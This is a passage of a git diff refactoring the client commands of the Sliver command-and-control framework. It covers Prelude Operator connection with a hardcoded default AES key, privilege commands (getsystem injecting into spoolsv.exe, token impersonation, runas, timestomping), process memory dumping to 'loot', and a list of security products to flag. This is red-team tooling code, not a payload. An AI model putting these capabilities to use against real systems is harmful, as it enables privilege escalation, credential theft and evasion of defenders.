&cobra.Command{ + Use: consts.PreludeOperatorStr, + Short: "Manage connection to Prelude's Operator", + Long: help.GetHelpFor([]string{consts.PreludeOperatorStr}), + GroupID: consts.GenericHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + OperatorCmd(cmd, con, args) + }, + } + + operatorConnectCmd := &cobra.Command{ + Use: consts.ConnectStr, + Short: "Connect with Prelude's Operator", + Long: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}), + Run: func(cmd *cobra.Command, args []string) { + ConnectCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + operatorCmd.AddCommand(operatorConnectCmd) + flags.Bind("operator", false, operatorConnectCmd, func(f *pflag.FlagSet) { + f.BoolP("skip-existing", "s", false, "Do not add existing sessions as Operator Agents") + f.StringP("aes-key", "a", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption") + f.StringP("range", "r", "sliver", "Agents range") + }) + carapace.Gen(operatorConnectCmd).PositionalCompletion( + carapace.ActionValues().Usage("connection string to the Operator Host (e.g. 127.0.0.1:1234)")) + + return []*cobra.Command{operatorCmd} +} diff --git a/client/command/prelude-operator/connect.go b/client/command/prelude-operator/connect.go index 93e9ee9c10..174471ce83 100644 --- a/client/command/prelude-operator/connect.go +++ b/client/command/prelude-operator/connect.go @@ -29,7 +29,7 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -func ConnectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ConnectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { url := args[0] aesKey, _ := cmd.Flags().GetString("aes-key") agentRange, _ := cmd.Flags().GetString("range") @@ -48,7 +48,7 @@ func ConnectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str if !skipExisting { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Could not get session list: %s", err) + con.PrintErrorf("Could not get session list: %s", con.UnwrapServerErr(err)) return } if len(sessions.Sessions) > 0 { @@ -65,14 +65,14 @@ func ConnectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Could not get beacon list: %s", err) + con.PrintErrorf("Could not get beacon list: %s", con.UnwrapServerErr(err)) return } if len(beacons.Beacons) > 0 { con.PrintInfof("Adding existing beacons ...\n") for _, beacon := range beacons.Beacons { err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) { - con.AddBeaconCallback(taskID, cb) + con.AddBeaconCallback(&commonpb.Response{TaskID: taskID}, cb) }) if err != nil { con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err) diff --git a/client/command/prelude-operator/operator.go b/client/command/prelude-operator/operator.go index af91ba9d4f..f36a692150 100644 --- a/client/command/prelude-operator/operator.go +++ b/client/command/prelude-operator/operator.go @@ -25,7 +25,7 @@ import ( "github.com/bishopfox/sliver/client/prelude" ) -func OperatorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func OperatorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if prelude.ImplantMapper != nil { con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL) return diff --git a/client/command/privilege/commands.go b/client/command/privilege/commands.go new file mode 100644 index 0000000000..32095e4a7d --- /dev/null +++ b/client/command/privilege/commands.go @@ -0,0 +1,175 @@ +package privilege + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/filesystem" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + runAsCmd := &cobra.Command{ + Use: consts.RunAsStr, + Short: "Run a new process in the context of the designated user (Windows Only)", + Long: help.GetHelpFor([]string{consts.RunAsStr}), + Run: func(cmd *cobra.Command, args []string) { + RunAsCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, runAsCmd, func(f *pflag.FlagSet) { + f.StringP("username", "u", "", "user to impersonate") + f.StringP("process", "p", "", "process to start") + f.StringP("args", "a", "", "arguments for the process") + f.StringP("domain", "d", "", "domain of the user") + f.StringP("password", "P", "", "password of the user") + f.BoolP("show-window", "s", false, ` + Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`) + f.BoolP("net-only", "n", false, "use ") + f.Int64P("timeout", "t", 30, "grpc timeout in seconds") + }) + + impersonateCmd := &cobra.Command{ + Use: consts.ImpersonateStr, + Short: "Impersonate a logged in user.", + Long: help.GetHelpFor([]string{consts.ImpersonateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ImpersonateCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, impersonateCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", 30, "grpc timeout in seconds") + }) + carapace.Gen(impersonateCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the user account to impersonate")) + + revToSelfCmd := &cobra.Command{ + Use: consts.RevToSelfStr, + Short: "Revert to self: lose stolen Windows token", + Long: help.GetHelpFor([]string{consts.RevToSelfStr}), + Run: func(cmd *cobra.Command, args []string) { + RevToSelfCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, revToSelfCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", 30, "grpc timeout in seconds") + }) + + getSystemCmd := &cobra.Command{ + Use: consts.GetSystemStr, + Short: "Spawns a new sliver session as the NT AUTHORITY\\SYSTEM user (Windows Only)", + Long: help.GetHelpFor([]string{consts.GetSystemStr}), + Run: func(cmd *cobra.Command, args []string) { + GetSystemCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, getSystemCmd, func(f *pflag.FlagSet) { + f.StringP("process", "p", "spoolsv.exe", "SYSTEM process to inject into") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + makeTokenCmd := &cobra.Command{ + Use: consts.MakeTokenStr, + Short: "Create a new Logon Session with the specified credentials", + Long: help.GetHelpFor([]string{consts.MakeTokenStr}), + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + MakeTokenCmd(cmd, con, args) + }, + } + flags.Bind("", false, makeTokenCmd, func(f *pflag.FlagSet) { + f.StringP("username", "u", "", "username of the user to impersonate") + f.StringP("password", "p", "", "password of the user to impersonate") + f.StringP("domain", "d", "", "domain of the user to impersonate") + f.StringP("logon-type", "T", "LOGON_NEW_CREDENTIALS", "logon type to use") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + chmodCmd := &cobra.Command{ + Use: consts.ChmodStr, + Short: "Change permissions on a file or directory", + Long: help.GetHelpFor([]string{consts.ChmodStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + filesystem.ChmodCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + } + flags.Bind("", false, chmodCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively change permissions on files") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(chmodCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to file to change mod perms"), + carapace.ActionValues().Usage("file permissions in octal (eg. 0644)"), + ) + + chownCmd := &cobra.Command{ + Use: consts.ChownStr, + Short: "Change owner on a file or directory", + Long: help.GetHelpFor([]string{consts.ChownStr}), + Args: cobra.ExactArgs(3), + Run: func(cmd *cobra.Command, args []string) { + filesystem.ChownCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + } + flags.Bind("", false, chownCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively change permissions on files") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(chownCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to file to change owner for"), + carapace.ActionValues().Usage("user ID"), + carapace.ActionValues().Usage("group ID (required)"), + ) + + chtimesCmd := &cobra.Command{ + Use: consts.ChtimesStr, + Short: "Change access and modification times on a file (timestomp)", + Long: help.GetHelpFor([]string{consts.ChtimesStr}), + Args: cobra.ExactArgs(3), + Run: func(cmd *cobra.Command, args []string) { + filesystem.ChtimesCmd(cmd, con, args) + }, + GroupID: consts.PrivilegesHelpGroup, + } + flags.Bind("", false, chtimesCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(chtimesCmd).PositionalCompletion( + carapace.ActionValues().Usage("path to file to change access timestamps"), + carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"), + carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"), + ) + + getprivsCmd := &cobra.Command{ + Use: consts.GetPrivsStr, + Short: "Get current privileges (Windows only)", + Long: help.GetHelpFor([]string{consts.GetPrivsStr}), + GroupID: consts.PrivilegesHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + GetPrivsCmd(cmd, con, args) + }, + } + flags.Bind("", false, getprivsCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{runAsCmd, impersonateCmd, revToSelfCmd, makeTokenCmd, getSystemCmd, chtimesCmd, chmodCmd, chownCmd, getprivsCmd} +} diff --git a/client/command/privilege/getprivs.go b/client/command/privilege/getprivs.go index 13baa95a01..94a78894af 100644 --- a/client/command/privilege/getprivs.go +++ b/client/command/privilege/getprivs.go @@ -20,6 +20,7 @@ package privilege import ( "context" + "errors" "strconv" "strings" @@ -31,13 +32,18 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// GetPrivsCmd - Get the current process privileges (Windows only) -func GetPrivsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GetPrivsCmd - Get the current process privileges (Windows only). +func GetPrivsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } + if targetOS != "windows" { con.PrintErrorf("Command only supported on Windows.\n") return @@ -47,12 +53,17 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + pid, err := getPID(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) return } - pid := getPID(session, beacon) + if privs.Response != nil && privs.Response.Async { - con.AddBeaconCallback(privs.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(privs.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, privs) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -60,14 +71,13 @@ func GetPrivsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } PrintGetPrivs(privs, pid, con) }) - con.PrintAsyncResponse(privs.Response) } else { PrintGetPrivs(privs, pid, con) } } -// PrintGetPrivs - Print the results of the get privs command -func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConsoleClient) { +// PrintGetPrivs - Print the results of the get privs command. +func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverClient) { // Response is the Envelope (see RPC API), Err is part of it. if privs.Response != nil && privs.Response.Err != "" { con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n") @@ -126,22 +136,24 @@ func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConso } } -func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getOS(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.OS + return session.OS, nil } if beacon != nil { - return beacon.OS + return beacon.OS, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } -func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 { +func getPID(session *clientpb.Session, beacon *clientpb.Beacon) (int32, error) { if session != nil { - return session.PID + return session.PID, nil } if beacon != nil { - return beacon.PID + return beacon.PID, nil } - panic("no session or beacon") + + return -1, errors.New("no session or beacon") } diff --git a/client/command/privilege/getsystem.go b/client/command/privilege/getsystem.go index 42771d77ba..3926a10acc 100644 --- a/client/command/privilege/getsystem.go +++ b/client/command/privilege/getsystem.go @@ -21,22 +21,25 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system -func GetSystemCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system. +func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Command only supported on Windows.\n") return @@ -55,12 +58,12 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if getSystem.Response != nil && getSystem.Response.Async { - con.AddBeaconCallback(getSystem.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(getSystem.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, getSystem) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -68,14 +71,13 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } PrintGetSystem(getSystem, con) }) - con.PrintAsyncResponse(getSystem.Response) } else { PrintGetSystem(getSystem, con) } } -// PrintGetSystem - Print the results of get system -func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverConsoleClient) { +// PrintGetSystem - Print the results of get system. +func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverClient) { if getsystemResp.Response != nil && getsystemResp.Response.GetErr() != "" { con.PrintErrorf("%s\n", getsystemResp.GetResponse().GetErr()) return diff --git a/client/command/privilege/impersonate.go b/client/command/privilege/impersonate.go index 5fb3290726..127e1341b8 100644 --- a/client/command/privilege/impersonate.go +++ b/client/command/privilege/impersonate.go @@ -21,17 +21,16 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ImpersonateCmd - Windows only, impersonate a user token -func ImpersonateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ImpersonateCmd - Windows only, impersonate a user token. +func ImpersonateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -43,12 +42,12 @@ func ImpersonateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ Username: username, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if impersonate.Response != nil && impersonate.Response.Async { - con.AddBeaconCallback(impersonate.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(impersonate.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, impersonate) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -56,14 +55,13 @@ func ImpersonateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } PrintImpersonate(impersonate, username, con) }) - con.PrintAsyncResponse(impersonate.Response) } else { PrintImpersonate(impersonate, username, con) } } -// PrintImpersonate - Print the results of the attempted impersonation -func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverConsoleClient) { +// PrintImpersonate - Print the results of the attempted impersonation. +func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverClient) { if impersonate.Response != nil && impersonate.Response.GetErr() != "" { con.PrintErrorf("%s\n", impersonate.Response.GetErr()) return diff --git a/client/command/privilege/make-token.go b/client/command/privilege/make-token.go index ae1ee3fcc1..1dd1da4dd4 100644 --- a/client/command/privilege/make-token.go +++ b/client/command/privilege/make-token.go @@ -21,9 +21,8 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -40,8 +39,8 @@ var logonTypes = map[string]uint32{ "LOGON_NEW_CREDENTIALS": 9, } -// MakeTokenCmd - Windows only, create a token using "valid" credentails -func MakeTokenCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MakeTokenCmd - Windows only, create a token using "valid" credentials. +func MakeTokenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -75,12 +74,12 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if makeToken.Response != nil && makeToken.Response.Async { - con.AddBeaconCallback(makeToken.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(makeToken.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, makeToken) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -88,14 +87,13 @@ func MakeTokenCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } PrintMakeToken(makeToken, domain, username, con) }) - con.PrintAsyncResponse(makeToken.Response) } else { PrintMakeToken(makeToken, domain, username, con) } } -// PrintMakeToken - Print the results of attempting to make a token -func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverConsoleClient) { +// PrintMakeToken - Print the results of attempting to make a token. +func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverClient) { if makeToken.Response != nil && makeToken.Response.GetErr() != "" { con.PrintErrorf("%s\n", makeToken.Response.GetErr()) return diff --git a/client/command/privilege/rev2self.go b/client/command/privilege/rev2self.go index 2b5dea324a..5c7daa5f0a 100644 --- a/client/command/privilege/rev2self.go +++ b/client/command/privilege/rev2self.go @@ -21,17 +21,16 @@ package privilege import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RevToSelfCmd - Drop any impersonated tokens -func RevToSelfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RevToSelfCmd - Drop any impersonated tokens. +func RevToSelfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -41,12 +40,12 @@ func RevToSelfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if revert.Response != nil && revert.Response.Async { - con.AddBeaconCallback(revert.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(revert.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, revert) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -54,14 +53,13 @@ func RevToSelfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } PrintRev2Self(revert, con) }) - con.PrintAsyncResponse(revert.Response) } else { PrintRev2Self(revert, con) } } -// PrintRev2Self - Print the result of revert to self -func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverConsoleClient) { +// PrintRev2Self - Print the result of revert to self. +func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverClient) { if revert.Response != nil && revert.Response.GetErr() != "" { con.PrintErrorf("%s\n", revert.Response.GetErr()) return diff --git a/client/command/privilege/runas.go b/client/command/privilege/runas.go index a83e6c5576..646ec3de1d 100644 --- a/client/command/privilege/runas.go +++ b/client/command/privilege/runas.go @@ -20,18 +20,18 @@ package privilege import ( "context" - - "google.golang.org/protobuf/proto" + "errors" "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RunAsCmd - Run a command as another user on the remote system -func RunAsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RunAsCmd - Run a command as another user on the remote system. +func RunAsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -66,13 +66,18 @@ func RunAsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin NetOnly: netonly, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) + return + } + + name, err := getName(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) return } - name := getName(session, beacon) if runAs.Response != nil && runAs.Response.Async { - con.AddBeaconCallback(runAs.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(runAs.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, runAs) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -80,14 +85,13 @@ func RunAsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } PrintRunAs(runAs, process, arguments, name, con) }) - con.PrintAsyncResponse(runAs.Response) } else { PrintRunAs(runAs, process, arguments, name, con) } } -// PrintRunAs - Print the result of run as -func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con *console.SliverConsoleClient) { +// PrintRunAs - Print the result of run as. +func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con *console.SliverClient) { if runAs.Response != nil && runAs.Response.GetErr() != "" { con.PrintErrorf("%s\n", runAs.Response.GetErr()) return @@ -95,12 +99,13 @@ func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con.PrintInfof("Successfully ran %s %s on %s\n", process, args, name) } -func getName(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getName(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.Name + return session.Name, nil } if beacon != nil { - return beacon.Name + return beacon.Name, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } diff --git a/client/command/processes/commands.go b/client/command/processes/commands.go new file mode 100644 index 0000000000..0610507d81 --- /dev/null +++ b/client/command/processes/commands.go @@ -0,0 +1,77 @@ +package processes + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + psCmd := &cobra.Command{ + Use: consts.PsStr, + Short: "List remote processes", + Long: help.GetHelpFor([]string{consts.PsStr}), + Run: func(cmd *cobra.Command, args []string) { + PsCmd(cmd, con, args) + }, + GroupID: consts.ProcessHelpGroup, + } + flags.Bind("", false, psCmd, func(f *pflag.FlagSet) { + f.IntP("pid", "p", -1, "filter based on pid") + f.StringP("exe", "e", "", "filter based on executable name") + f.StringP("owner", "o", "", "filter based on owner") + f.BoolP("print-cmdline", "c", false, "print command line arguments") + f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") + f.IntP("skip-pages", "S", 0, "skip the first n page(s)") + f.BoolP("tree", "T", false, "print process tree") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + procdumpCmd := &cobra.Command{ + Use: consts.ProcdumpStr, + Short: "Dump process memory", + Long: help.GetHelpFor([]string{consts.ProcdumpStr}), + Run: func(cmd *cobra.Command, args []string) { + ProcdumpCmd(cmd, con, args) + }, + GroupID: consts.ProcessHelpGroup, + } + flags.Bind("", false, procdumpCmd, func(f *pflag.FlagSet) { + f.IntP("pid", "p", -1, "target pid") + f.StringP("name", "n", "", "target process name") + f.StringP("save", "s", "", "save to file (will overwrite if exists)") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("loot-name", "N", "", "name to assign when adding the memory dump to the loot store (optional)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(procdumpCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles() + }) + + terminateCmd := &cobra.Command{ + Use: consts.TerminateStr, + Short: "Terminate a process on the remote system", + Long: help.GetHelpFor([]string{consts.TerminateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + TerminateCmd(cmd, con, args) + }, + GroupID: consts.ProcessHelpGroup, + } + flags.Bind("", false, terminateCmd, func(f *pflag.FlagSet) { + f.BoolP("force", "F", false, "disregard safety and kill the PID") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(terminateCmd).PositionalCompletion(carapace.ActionValues().Usage("process ID")) + + return []*cobra.Command{psCmd, procdumpCmd, terminateCmd} +} diff --git a/client/command/processes/procdump.go b/client/command/processes/procdump.go index 904de72bab..cde8d080f6 100644 --- a/client/command/processes/procdump.go +++ b/client/command/processes/procdump.go @@ -35,8 +35,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ProcdumpCmd - Dump the memory of a remote process -func ProcdumpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ProcdumpCmd - Dump the memory of a remote process. +func ProcdumpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -74,13 +74,13 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } hostname := getHostname(session, beacon) if dump.Response != nil && dump.Response.Async { - con.AddBeaconCallback(dump.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(dump.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, dump) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -94,7 +94,6 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st PrintProcessDump(dump, saveTo, hostname, pid, con) } }) - con.PrintAsyncResponse(dump.Response) } else { if saveLoot { LootProcessDump(dump, lootName, hostname, pid, con) @@ -106,8 +105,8 @@ func ProcdumpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintProcessDump - Handle the results of a process dump -func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverConsoleClient) { +// PrintProcessDump - Handle the results of a process dump. +func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverClient) { var err error var saveToFile *os.File if saveTo == "" { @@ -139,7 +138,7 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string { return "" } -func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) { +func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverClient) { timeNow := time.Now().UTC() dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405")) diff --git a/client/command/processes/ps.go b/client/command/processes/ps.go index e05a6e84d6..9d6fc3bff5 100644 --- a/client/command/processes/ps.go +++ b/client/command/processes/ps.go @@ -36,7 +36,7 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// Stylizes known processes in the `ps` command +// Stylizes known processes in the `ps` command. var knownSecurityTools = map[string][]string{ // Process Name -> [Color, Stylized Name] "ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP) @@ -86,14 +86,10 @@ var knownSecurityTools = map[string][]string{ "eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security "ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security "efwd.exe": {console.Red, 